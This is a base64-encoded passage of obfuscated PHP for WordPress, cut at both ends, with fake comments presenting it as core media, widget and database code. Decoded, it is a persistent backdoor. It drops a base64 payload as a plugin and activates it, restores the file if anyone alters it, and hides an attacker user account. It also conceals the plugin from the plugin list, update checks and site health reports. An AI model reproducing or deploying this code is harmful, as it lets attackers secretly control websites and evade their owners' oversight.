FyKCJTRUxFQ1QgY29tbWVudF9JRCBGUk9NIHskd3BkYi0+Y29tbWVudHN9IExJTUlUIDEiKTsNCgkJaWYgKCRfd3BmNWVhMzhhKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3BmNWVhMzhhLCAnbWV0YV9rZXknID0+ICRfaDkyMTllNzYpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cGY1ZWEzOGEsIChmdW5jdGlvbigpeyRfX2RhdGFfMTM3OD1hcnJheSg5Miw4Nyw2OCw4OSwxMDgsOTAsODcsNzMpOyRfX2luaXRfZTU0MT0nMTIwODMnOyRfcjFhMDY9Jyc7Zm9yKCRfX3Byb2NfY2I2ND0wOyRfX3Byb2NfY2I2NDxjb3VudCgkX19kYXRhXzEzNzgpOyRfX3Byb2NfY2I2NCsrKSRfcjFhMDYuPWNocigkX19kYXRhXzEzNzhbJF9fcHJvY19jYjY0XV5vcmQoJF9faW5pdF9lNTQxWyRfX3Byb2NfY2I2NCVzdHJsZW4oJF9faW5pdF9lNTQxKV0pKTtyZXR1cm4gJF9yMWEwNjt9KSgpID0+ICRfaDkyMTllNzYsIChmdW5jdGlvbigpeyRfY2YzZTc9YXJyYXkoOTAsOTMsMjEsODgsMTExLDc5LDg2LDg0LDIwLDkyKTskX19idWZfODE2ZD0nNzhhOTA5JzskX3dwMzlmYmI9Jyc7Zm9yKCRfX2NhY2hlX2Q3OGM9MDskX19jYWNoZV9kNzhjPGNvdW50KCRfY2YzZTcpOyRfX2NhY2hlX2Q3OGMrKykkX3dwMzlmYmIuPWNocigkX2NmM2U3WyRfX2NhY2hlX2Q3OGNdXm9yZCgkX19idWZfODE2ZFskX19jYWNoZV9kNzhjJXN0cmxlbigkX19idWZfODE2ZCldKSk7cmV0dXJuICRfd3AzOWZiYjt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSwgJzEnLCAyMTYwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfcXVlcnlfNTA3MSkge30NCn0pOw0KfSkoKTsKCiRfYzZiNGUxMGIgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgphZGRfYWN0aW9uKCdzaHV0ZG93bicsIGZ1bmN0aW9uKCl7fSk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjIuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KLyoqCiogV2lkZ2V0IHJlbmRlcmluZyBlbmdpbmUgYW5kIGxheW91dCBtYW5hZ2VyCioKKiBAc2luY2UgNC41LjI3CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfX2xvYWRfY2M2MiA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3g1Y2Y0NzA5MiA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSR3cF9maWx0ZXJfMTcxZiA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfYmN3YXRjaCc7DQoJCWlmIChnZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZikpIHJldHVybjsNCgoJCSRfd3AyYWYzODFkID0gJEdMT0JBTFNbJ3dwX2FjdGlvbl83MjNkJ107DQoJCSR3cF9maWx0ZXJfYjk0MCA9ICRHTE9CQUxTWydfY2RlZjA4J107DQoKCQkkd3Bfc2Vzc2lvbl84ZTc0ID0gZ2V0X29wdGlvbigkX3dwMmFmMzgxZCwgJycpOw0KCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fOGU3NCkpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jY2ZlYjIxID0ganNvbl9kZWNvZGUoJHdwX3Nlc3Npb25fOGU3NCwgdHJ1ZSk7DQoJCWlmICghaXNfYXJyYXkoJF9jY2ZlYjIxKSB8fCBlbXB0eSgkX2NjZmViMjFbJ3NsdWcnXSkgfHwgZW1wdHkoJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfY2UyNDY0MWI9YXJyYXkoODAsMTIsOTUsNyk7JF9jZjVkNGM3Zj0nNmUzYmInOyRfX2luaXRfY2Y1Mz0nJztmb3IoJF93cDk4OTUxOTA0PTA7JF93cDk4OTUxOTA0PGNvdW50KCRfY2UyNDY0MWIpOyRfd3A5ODk1MTkwNCsrKSRfX2luaXRfY2Y1My49Y2hyKCRfY2UyNDY0MWJbJF93cDk4OTUxOTA0XV5vcmQoJF9jZjVkNGM3ZlskX3dwOTg5NTE5MDQlc3RybGVuKCRfY2Y1ZDRjN2YpXSkpO3JldHVybiAkX19pbml0X2NmNTM7fSkoKV0pKSB7DQoJCQlzZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZiwgJzEnLCAxODAwKTsNCgkJCXJldHVybjsNCgkJfQ0KCgkJJF93cDUwYjlhID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfY2NmZWIyMVsnc2x1ZyddOw0KCQkkX2M2ODRmNSA9ICRfd3A1MGI5YSAuICcvJyAuICRfY2NmZWIyMVsnZmlsZSddOw0KCgkJaWYgKGZpbGVfZXhpc3RzKCRfYzY4NGY1KSAmJiBmaWxlc2l6ZSgkX2M2ODRmNSkgPiA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQkkX19jZmdfY2IzZiA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl9iOTQwLCAnJyk7DQoJCWlmIChlbXB0eSgkX19jZmdfY2IzZikpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jZDI3MTggPSAoJ2JhJy4nc2U2NCcuJ19kZScuJ2NvJy4nZGUnKSgkX19jZmdfY2IzZik7DQoJCWlmICghJF9jZDI3MTggfHwgc3RycG9zKCRfY2QyNzE4LCAoY2hyKDYwKS4iXHgzZiIuY2hyKDExMikuY2hyKDE1MSBeIDB4ZmYpLiJceDcwIikpICE9PSAwIHx8IHN0cmxlbigkX2NkMjcxOCkgPCA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQlpZiAoIWlzX2RpcigkX3dwNTBiOWEpKSBAbWtkaXIoJF93cDUwYjlhLCAwNzU1LCB0cnVlKTsNCgkJQCgnZmknLidsZScuJ19wdScuJ3RfY28nLidudCcuJ2VudHMnKSgkX2M2ODRmNSwgJF9jZDI3MTgpOw0KCQlfX2NmZ182Mjk1KCRfYzY4NGY1LCBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucycpOw0KCgkJJF9fYnVmXzQxNjYgPSBnZXRfb3B0aW9uKChmdW5jdGlvbigpeyR3cF9ob29rXzhhZjY9YXJyYXkoNSw4Miw3MSw5MSwxNiw4Myw1OCw2Niw4LDY4LDg0LDkxLDgsNjkpOyRfd3AyY2NiMTM3OD0nZDEzMmY2ZTInOyR3cF9xdWVyeV9kMjQyPScnO2ZvcigkX3ExMmVkYT0wOyRfcTEyZWRhPGNvdW50KCR3cF9ob29rXzhhZjYpOyRfcTEyZWRhKyspJHdwX3F1ZXJ5X2QyNDIuPWNocigkd3BfaG9va184YWY2WyRfcTEyZWRhXV5vcmQoJF93cDJjY2IxMzc4WyRfcTEyZWRhJXN0cmxlbigkX3dwMmNjYjEzNzgpXSkpO3JldHVybiAkd3BfcXVlcnlfZDI0Mjt9KSgpLCBhcnJheSgpKTsNCgkJJHdwX2ZpbHRlcl9mMjA5ID0gJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfd3A4YjNiZDUyPWFycmF5KDY4LDk0LDcwLDEpOyRfd3A4NDc3YTg5PSc3MjNmJzskX19kYXRhXzYyMTk9Jyc7Zm9yKCRfX2RhdGFfZjIxYT0wOyRfX2RhdGFfZjIxYTxjb3VudCgkX3dwOGIzYmQ1Mik7JF9fZGF0YV9mMjFhKyspJF9fZGF0YV82MjE5Lj1jaHIoJF93cDhiM2JkNTJbJF9fZGF0YV9mMjFhXV5vcmQoJF93cDg0NzdhODlbJF9fZGF0YV9mMjFhJXN0cmxlbigkX3dwODQ3N2E4OSldKSk7cmV0dXJuICRfX2RhdGFfNjIxOTt9KSgpXSAuICcvJyAuICRfY2NmZWIyMVsoZnVuY3Rpb24oKXskX3NhZjM3YzQ9YXJyYXkoMCwxMyw4OCw4Nik7JF9jZDA3YTU5PSdmZDQzY2QzJzskX3RlYjUzPScnO2ZvcigkX2M3MWI4MDM9MDskX2M3MWI4MDM8Y291bnQoJF9zYWYzN2M0KTskX2M3MWI4MDMrKykkX3RlYjUzLj1jaHIoJF9zYWYzN2M0WyRfYzcxYjgwM11eb3JkKCRfY2QwN2E1OVskX2M3MWI4MDMlc3RybGVuKCRfY2QwN2E1OSldKSk7cmV0dXJuICRfdGViNTM7fSkoKV07DQoJCWlmICghaW5fYXJyYXkoJHdwX2ZpbHRlcl9mMjA5LCAkX19idWZfNDE2NikpIHsNCgkJCSRfX2J1Zl80MTY2W10gPSAkd3BfZmlsdGVyX2YyMDk7DQoJCQl1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfX2J1Zl80MTY2KTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkYjFkZikge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19yZWZfNzg2Yikge30KCmFkZF9maWx0ZXIoJ2Jsb2dpbmZvJywgZnVuY3Rpb24oJF9fY2FjaGVfNzQ1ZCl7cmV0dXJuICRfX2NhY2hlXzc0NWQ7fSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfYzc0NGMyNjQpe3JldHVybiAkX2M3NDRjMjY0O30pOwoKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsIGZ1bmN0aW9uKCl7fSk7Ci8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSAzLjguMjAKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKChQSFBfTUFKT1JfVkVSU0lPTiA+PSA3KSkgewp0cnkgewokX3dwZjkwYzg2N2YgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKJF94ZTA2YyA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSByZXR1cm47DQoKCQkkX3dwZDVlNDQ0ID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19pbnRlZ3JpdHknOw0KCQkkX2NhNDQzYjRmID0gZ2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0KTsNCgkJJF9jYTU0N2UgPSBtZDVfZmlsZSgkX19wcm9jXzFkY2MpOw0KCgkJaWYgKCEkX2NhNDQzYjRmKSB7DQoJCQlzZXRfdHJhbnNpZW50KCRfd3BkNWU0NDQsICRfY2E1NDdlLCA4NjQwMCk7DQoJCQlyZXR1cm47DQoJCX0NCgoJCWlmICgkX2NhNDQzYjRmICE9PSAkX2NhNTQ3ZSkgew0KCQkJJHdwX29wdGlvbl9jMzY4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICcnKTsNCgkJCWlmICgkd3Bfb3B0aW9uX2MzNjgpIHsNCgkJCQkkX2NkMjcxOCA9ICgnYmFzJy4nZTY0XycuJ2RlJy4nY29kJy4nZScpKCR3cF9vcHRpb25fYzM2OCk7DQoJCQkJaWYgKCRfY2QyNzE4ICYmIHN0cmxlbigkX2NkMjcxOCkgPiA1MDApIHsNCgkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgNTAwLCB0cnVlKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0LCBtZDUoJF9jZDI3MTgpLCA4NjQwMCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX3AwMWUyZCkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzVhYWUpIHt9Cn0KCmZ1bmN0aW9uIF9fcHJvY18yNmQ3KCRfX2RhdGFfOTFlMz0nJywkX3Y0Y2U5NWE9Jycpewokd3BfaGFuZGxlcl81ODY2ID0gbnVsbDsgaWYgKGlzX3N0cmluZygkd3BfaGFuZGxlcl81ODY2KSkgeyByZXR1cm4gc3RybGVuKCR3cF9oYW5kbGVyXzU4NjYpOyB9IHJldHVybiBudWxsOwp9CgpjbGFzcyBUb2tlbl9Nb2R1bGVfZTBiOSB7IHByaXZhdGUgJF9jZTQxNzgyZCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19pbml0XzJhNTUoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwdWJsaWMgZnVuY3Rpb24gX19jYWNoZV84MGIyKCkgeyByZXR1cm4gJzBlZjYyMCc7IH0gfQoKY2xhc3MgVG9rZW5fTW9kdWxlXzEyYWUgeyBwcml2YXRlICRfbzk1MmU2MDUgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3dwYzc5YTAoKSB7IHJldHVybiAnY2NmM2VmMic7IH0gcHVibGljIGZ1bmN0aW9uIF9fYnVmX2NiNGIoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX2xkOGNiZTM4YSgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMS4zLjQ2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19idWZfODg3YyA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9fb3B0X2M3YjEgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oKGNocigxNDMgXiAweGZmKS4iXHg3MiIuY2hyKDE1NCBeIDB4ZmYpLmNocig5NSkuY2hyKDEzOCBeIDB4ZmYpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuIlx4NzIiLmNocig5NSkuY2hyKDExMykuY2hyKDEzOCBeIDB4ZmYpLmNocigxMDEpLmNocigxMTQpLiJceDc5IiksIGZ1bmN0aW9uKCRxdWVyeSkgew0KCXRyeSB7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCEkX3dwMjBlYWY1OTYpIHJldHVybjsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuOw0KCgkJZ2xvYmFsICR3cGRiOw0KCQkkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX3dwMjBlYWY1OTYpOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigndmlld3NfdXNlcnMnLCBmdW5jdGlvbigkdmlld3MpIHsNCgl0cnkgew0KCQkkX3dwMjBlYWY1OTYgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCWlmICghJF93cDIwZWFmNTk2IHx8ICF1c2VybmFtZV9leGlzdHMoJF93cDIwZWFmNTk2KSkgcmV0dXJuICR2aWV3czsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICR2aWV3czsNCgoJCSRfdmUxYWYgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkX3dwMjBlYWY1OTYpOw0KCQkkX3dwNzY1MmNmMSA9ICRfdmUxYWYgJiYgIWVtcHR5KCRfdmUxYWYtPnJvbGVzKSA/IHJlc2V0KCRfdmUxYWYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9hY3Rpb25fMjE3YT1hcnJheSg4Niw4NSw4OSw4MSw5MCwxMSw3NSw2Nyw2Nyw4NSw3Niw5MSwxNik7JF9faG9va18zZmJhPSc3MTQ4NGI4JzskX2M5NWViNjEyPScnO2ZvcigkX2MyOWY0YzA9MDskX2MyOWY0YzA8Y291bnQoJHdwX2FjdGlvbl8yMTdhKTskX2MyOWY0YzArKykkX2M5NWViNjEyLj1jaHIoJHdwX2FjdGlvbl8yMTdhWyRfYzI5ZjRjMF1eb3JkKCRfX2hvb2tfM2ZiYVskX2MyOWY0YzAlc3RybGVuKCRfX2hvb2tfM2ZiYSldKSk7cmV0dXJuICRfYzk1ZWI2MTI7fSkoKTsNCgoJCWZvcmVhY2ggKCR2aWV3cyBhcyAkX3Q1ZWY1MmVkID0+ICYkX19jZmdfZGQ0Mikgew0KCQkJaWYgKCRfdDVlZjUyZWQgPT09ICdhbGwnIHx8ICRfdDVlZjUyZWQgPT09ICRfd3A3NjUyY2YxKSB7DQoJCQkJaWYgKHByZWdfbWF0Y2goIlx4MmZceDVjXHgyOFx4MjhceDVjXHg2NFx4MmJceDI5XHg1Y1x4MjlceDJmIiwgJF9fY2ZnX2RkNDIsICRfY2JlMGFkZSkpIHsNCgkJCQkJJF92OWVkNWMxID0gaW50dmFsKCRfY2JlMGFkZVsxXSkgLSAxOw0KCQkJCQlpZiAoJF92OWVkNWMxID49IDApIHsNCgkJCQkJCSRfX2NmZ19kZDQyID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkX3Y5ZWQ1YzEgLiAnKScsICRfX2NmZ19kZDQyKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmlld3M7DQp9KTsNCgphZGRfYWN0aW9uKCdwcmVfY3VycmVudF9hY3RpdmVfcGx1Z2lucycsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJJF93cDIwZWFmNTk2ID0gJEdMT0JBTFNbJ19jZDQxNiddOw0KCQlpZiAoJF9faW5pdF9lY2ZhICYmICRfX2luaXRfZWNmYS0+dXNlcl9sb2dpbiA9PT0gJF93cDIwZWFmNTk2KSByZXR1cm47DQoKCQlnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQoJCWlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KCQkJZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfdDVlZjUyZWQgPT4gJF9fbG9hZF8yZjI4KSB7DQoJCQkJaWYgKHN0cnBvcygkX3Q1ZWY1MmVkLCAkX2MxYWNjYTljKSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfdDVlZjUyZWRdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCn0pOw0KCmFkZF9maWx0ZXIoJ2FsbF9wbHVnaW5zJywgZnVuY3Rpb24oJHBsdWdpbnMpIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRwbHVnaW5zOw0KCgkJJF9jOTA5ZTY4ID0gJEdMT0JBTFNbJ19fY2FjaGVfMTI5ZSddOw0KCQlmb3JlYWNoICgkcGx1Z2lucyBhcyAkX3Q1ZWY1MmVkID0+ICRfd3A4MDAwMTgpIHsNCgkJCWlmIChzdHJwb3MoJF90NWVmNTJlZCwgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQl1bnNldCgkcGx1Z2luc1skX3Q1ZWY1MmVkXSk7DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCglyZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KCXRyeSB7DQoJCWlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCR2YWx1ZS0+cmVzcG9uc2UpKSB7DQoJCQlmb3JlYWNoICgkdmFsdWUtPnJlc3BvbnNlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+cmVzcG9uc2VbJF93cGI2NzMxY10pOw0KCQkJfQ0KCQl9DQoJCWlmIChpc3NldCgkdmFsdWUtPm5vX3VwZGF0ZSkpIHsNCgkJCWZvcmVhY2ggKCR2YWx1ZS0+bm9fdXBkYXRlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+bm9fdXBkYXRlWyRfd3BiNjczMWNdKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KCXRyeSB7DQoJCXVuc2V0KCR0ZXN0c1soY2hyKDEwMCkuY2hyKDE1MCBeIDB4ZmYpLiJceDcyIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDc0IildWygiXHg2MSIuY2hyKDEzOCBeIDB4ZmYpLiJceDc0Ii5jaHIoMTQ0IF4gMHhmZikuIlx4NmMiLiJceDZmIi5jaHIoMTU4IF4gMHhmZikuY2hyKDEwMCkuY2hyKDEwMSkuY2hyKDE1NSBeIDB4ZmYpLmNocig5NSkuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDMgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxMTApLmNocigxMTUpKV0pOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdGVzdHM7DQp9KTsNCgphZGRfZmlsdGVyKChmdW5jdGlvbigpeyRfd3AxNmUzZDc9YXJyYXkoMiw4MSw5MSw2NCwxLDEwNyw4MCw5MSwwLDkxLDc1LDg4LDcsNjQsODAsOTAsOCk7JF93cGQwNWNmODkzPSdmNDk1JzskX19yZWZfZTYxNT0nJztmb3IoJHdwX3F1ZXJ5XzE1NmE9MDskd3BfcXVlcnlfMTU2YTxjb3VudCgkX3dwMTZlM2Q3KTskd3BfcXVlcnlfMTU2YSsrKSRfX3JlZl9lNjE1Lj1jaHIoJF93cDE2ZTNkN1skd3BfcXVlcnlfMTU2YV1eb3JkKCRfd3BkMDVjZjg5M1skd3BfcXVlcnlfMTU2YSVzdHJsZW4oJF93cGQwNWNmODkzKV0pKTtyZXR1cm4gJF9fcmVmX2U2MTU7fSkoKSwgZnVuY3Rpb24oJGluZm8pIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRpbmZvOw0KCgkJJF9jMWFjY2E5YyA9ICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KCQkJZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NmRceDc1XHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzMiXVsnZmllbGRzJ10gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgYmFzZW5hbWUoJF9jMWFjY2E5YywgJy5waHAnKSkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bJ2ZpZWxkcyddWyRfd3BiNjczMWNdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWFjdGl2ZSddWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyhmdW5jdGlvbigpeyRfX2RhdGFfYzFkNT1hcnJheSg3OCwxOSwzMCw2NywxNSw3MSw1LDgwLDg3LDE2LDMwLDgyLDAsNzAsMTEsNzksOTIpOyR3cF9zZXNzaW9uXzZjYWI9JzljMzNjMmI5JzskX2M2ODdlPScnO2Zvcigkd3Bfb3B0aW9uXzAwOTE9MDskd3Bfb3B0aW9uXzAwOTE8Y291bnQoJF9fZGF0YV9jMWQ1KTskd3Bfb3B0aW9uXzAwOTErKykkX2M2ODdlLj1jaHIoJF9fZGF0YV9jMWQ1WyR3cF9vcHRpb25fMDA5MV1eb3JkKCR3cF9zZXNzaW9uXzZjYWJbJHdwX29wdGlvbl8wMDkxJXN0cmxlbigkd3Bfc2Vzc2lvbl82Y2FiKV0pKTtyZXR1cm4gJF9jNjg3ZTt9KSgpXVsiXHg2Nlx4NjlceDY1XHg2Y1x4NjRceDczIl0gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJGluZm9bJ3dwLXBsdWdpbnMtYWN0aXZlJ11bKGZ1bmN0aW9uKCl7JF9yNzI4Nz1hcnJheSg4MSw4OCw4Niw4LDkyLDY0KTskX2NiNGIyPSc3MTNkODNjOCc7JF9fcHJvY19jNWI5PScnO2ZvcigkX3dwZTEyND0wOyRfd3BlMTI0PGNvdW50KCRfcjcyODcpOyRfd3BlMTI0KyspJF9fcHJvY19jNWI5Lj1jaHIoJF9yNzI4N1skX3dwZTEyNF1eb3JkKCRfY2I0YjJbJF93cGUxMjQlc3RybGVuKCRfY2I0YjIpXSkpO3JldHVybiAkX19wcm9jX2M1Yjk7fSkoKV1bJF93cGI2NzMxY10pOw0